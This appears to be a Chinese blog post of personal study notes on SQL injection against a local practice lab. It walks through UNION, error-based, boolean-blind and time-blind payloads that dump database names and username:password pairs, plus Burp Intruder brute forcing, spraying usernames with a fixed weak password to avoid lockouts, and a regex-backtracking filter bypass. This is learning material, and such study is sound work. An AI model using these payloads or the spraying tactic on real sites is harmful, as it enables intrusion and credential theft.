SQL基础学习笔记(个人感悟)

substr截断函数

例子:select substr('root',1,1) 输出为r

select substr('root',1,2) 输出为ro

select substr('root',2,2) 输出为oo

ascii转换函数

例子:select ascii('r') 输出为114

select ascii('s') 输出为115

if函数

例子:select if(now()=sysdate(),database(),user()) 输出security

解释:now()函数为当前时间函数,sysdate()也为当前时间函数。假如now()=sysdate()成立,那么显示database(),否则显示user()。

数据库特性

SCHEMATA (schemata)记录数据库名称

TABLES ( tables )记录所有表名 可以包含数据库名

COLUMNS ( columns )记录所有列名 可以查询数据库名 表名

information_schema是系统库,安装mysql自动就有,由系统创建

代码:select table_name from information_schema.tables where table_schema='security' limit 0,1

mysql 联表查询
union 联合

这是最常用的联合,但是有一个前置条件 列数相同

你如何知道你要入侵的这个网站的这个数据表里有几列?

所以我们需要使用order by 排序的意思

例子:我们现在不知道我们入侵的表有几列,于是我们使用**select * from users order by 3 desc;**(含义:用该表的第三列来排序)

当我们输入select * from users order by 4 desc; (含义:用该表的第四列来排序)发现报错显示:ERROR 1054 (42S22): Unknown column '4' in 'order clause' 不知道第四列 ,这时我们就可以推断出该表一共有三列。

知道列数后我们便可以用代码:select * from users union select 1,2,3 (这里select 1,2,3表示创建临时表,第一列是1,第二列是2,第三列是3)

我们借用这个思路便可以使用:**select * from users union select user(),database(),version();**便可以查到当前的用户、数据库名和版本号

那么我们在URL里面便可这么输入:select * from users where id = -1 union select user(),database(),version()--+; (+表示空格)

我们这样就可以查到当前的用户、数据库名和版本号(前端有回显才能利用)

注入思路

如何注入

我们要想实现注入成功那就必须要让数据库误解,其中单双引号 成对出现。

例子:原本的语句为:SELECT * FROM users WHERE id='1'LIMIT 0,1

那么我们为了闭合原本的语句,那就需要在id = '1'这里加一个单引号变为id='1'',这样原本的语句就会变为++SELECT * FROM users WHERE id='1'++ 'LIMIT 0,1,其中下划线的部分被闭合,让数据库认为语句已经完成。但是由于单双引号要成对出现,现在后面还有一个'单引号,这时候我们可以用#将后面的语句注释掉,这样我们的注入就成功了!

原代码被我们改变为SELECT * FROM users WHERE id='1' order by 1 #'LIMIT 0,1(#后默认不执行)

小提示:注释有三种,分别为--空格、#和/**/

子查询解决限制问题

我们学习了以上内容后进阶就需要用到子查询,但是子查询只能够显示一行,如果表中有多行我们就会报错。我们可以选择通过使用 limit 0 1去进行限制,这样就会给我们返还想要的内容

但是假如我们的表有100个,那么单纯使用limit函数要使用100次,特别的麻烦,这时我们有两个解决办法:

方法一

使用burpSuite(BP)爆破模块来进行遍历

1.抓包后右键发送到Intruder

2.接着在需要爆破的地方进行标注

需要注意的是,这里一共有四种爆破方式

第一种就是单个字段爆破

第二种就是现在一共标注了两个字段,但是两个字段使用同一个字典

第三种是一一对应的方式,比如我们标注了两个爆破字段,那么我们就需要准备两个字典。例子:我们标注了username 和 password两个字段,那么我们需要准备用户和密码两个字典,用户字典的第一个值(zhangsan)和密码的第一个值(123456)相对应,第二个值(lisi)和第二个值(456789)相对应,以及类推。

第四种为一对多模式,也就是说用户字典的第一个值和密码的第一个值对应,然后和密码的第二个值对应,接着是用户字典的第二个值和密码的第一个值对应,然后和第二个值对应,举例为:

zhangsan 123456

zhangsan 456789

lisi 123456

lisi 456789

3.选择参数

这里就选择payload type类型为数字(numbers),下面的From和TO为开始和终止,所以终止为100

最后按下 start attack即可

爆破说明:

看长度length,假如长度一致表示爆破失败,长度不一致表示爆破成功!

方法二

使用group_concat函数,该函数的作用为:将多行合并为一行。

例子:Less-1/?id=-1 union select 1,(select group_concat(username,0x3a,password)from users),3--+(0x3a为冒号(:))

报错注入

利用数据库在执行 SQL 时产生的错误信息,把我们想要的数据"拼"进报错里显示出来。

updatexml函数:用于更新XML文档中的节点内容

例如:select updatexml(1,concat(0x7e,database(),0x7e),1); ----错误信息会包含数据库名

布尔盲注

页面不返回错误、不回显数据,但你可以通过页面"真假变化"来判断 SQL 条件是否成立。

  • 条件为真 → 页面正常

  • 条件为假 → 页面空白

select * from users where id=1' and substr(database(),1,1)='s'; -------当前数据库名的第一个字母是不是 s

127.0.0.1/sql/less-8/?id=1' and length(database())=9; ------当前数据库名的长度是不是 9

127.0.0.1/sql/less-8/?id=1' and length(database())=8; -----当前数据库名的长度是不是 8

时间盲注

页面没有任何回显差异,只能靠"响应时间"判断真假。

**127.0.0.1/sql/less-8/?id=1' and if(ascii(substr(database(),1,1))=107,sleep(5),1)--+ ----**若页面延时了,则:数据库第一个字母是k

爆破建议

一般来讲建议爆破用户名,不要爆破密码。

现在每个网站连续输错密码后会封禁一段时间,甚至有可能封禁IP,所以爆破密码风险极大。

爆破用户名后,只需要用弱密码进行尝试,也就是固定密码为123456,接着爆破用户名,这样攻下的概率比较大。

robots.txt 是什么?

简单来说就是网站放在根目录的一张 "爬虫告示牌",里面的内容大致如下: User-agent: * # 所有爬虫都遵守这个规矩

Disallow: /admin/ # 别去后台管理文件夹

Allow: /public/ # 公开文件夹随便逛

这个robots.txt只是告知而不是强制,所以黑客会主动看这里,比如看到写了Disallow: /backup/,就知道你网站有个备份文件夹,直接去扫这个路径找漏洞即可。

正则回溯绕过

正则表达式的回溯绕过是指通过构造恶意输入,使得正则表达式引擎在匹配字符串时产生大量回溯操作,从而导致性能下降甚至造成拒绝服务(DoS)攻击。

正则的表达式为:select(.*)from

可以匹配到:selectaaaaaaaaaaaaaaaaaaaaaaaaaafrom

前七步去匹配select

到第八步开始匹配.*,也就是匹配所有

.接着往后匹配from时发现不一样,匹配到了m,就往前推移

最后匹配到from匹配完毕

那么在这一过程中,假如匹配的次数超过1000000就会报错

攻击 Payload: select/*a*1000000*/from

我们通过发送超长字符串的方式,使正则执行失败,最后绕过目标对 PHP 语言的限制。

相关推荐
木辰風3 小时前
PLSQL自定义自动替换(AutoReplace)
java·数据库·sql
ruxshui4 小时前
个人笔记: 星环Inceptor/hive普通分区表与范围分区表核心技术总结
hive·hadoop·笔记
慾玄4 小时前
渗透笔记总结
笔记
unable code4 小时前
磁盘取证-Flying_High
网络安全·ctf·misc·1024程序员节·磁盘取证
浩浩测试一下4 小时前
DDOS 应急响应Linux防火墙 Iptable 使用方式方法
linux·网络·安全·web安全·网络安全·系统安全·ddos
CS创新实验室4 小时前
关于 Moltbot 的学习总结笔记
笔记·学习·clawdbot·molbot
浩浩测试一下4 小时前
洪水猛兽攻击 Ddos Dos cc Drdos floods区别
安全·web安全·网络安全·系统安全·wpf·可信计算技术·安全架构
Whoami!5 小时前
⓫⁄₈ ⟦ OSCP ⬖ 研记 ⟧ Windows权限提升 ➱ 滥用Windows服务提权(下)
windows·网络安全·信息安全·powerup.ps1
孞㐑¥5 小时前
算法—分治
开发语言·c++·经验分享·笔记·算法
xqqxqxxq6 小时前
《智能仿真无人机平台(多线程 V4.0)技术笔记》(集群进阶:多无人机任务分配与碰撞规避)
笔记·无人机·cocos2d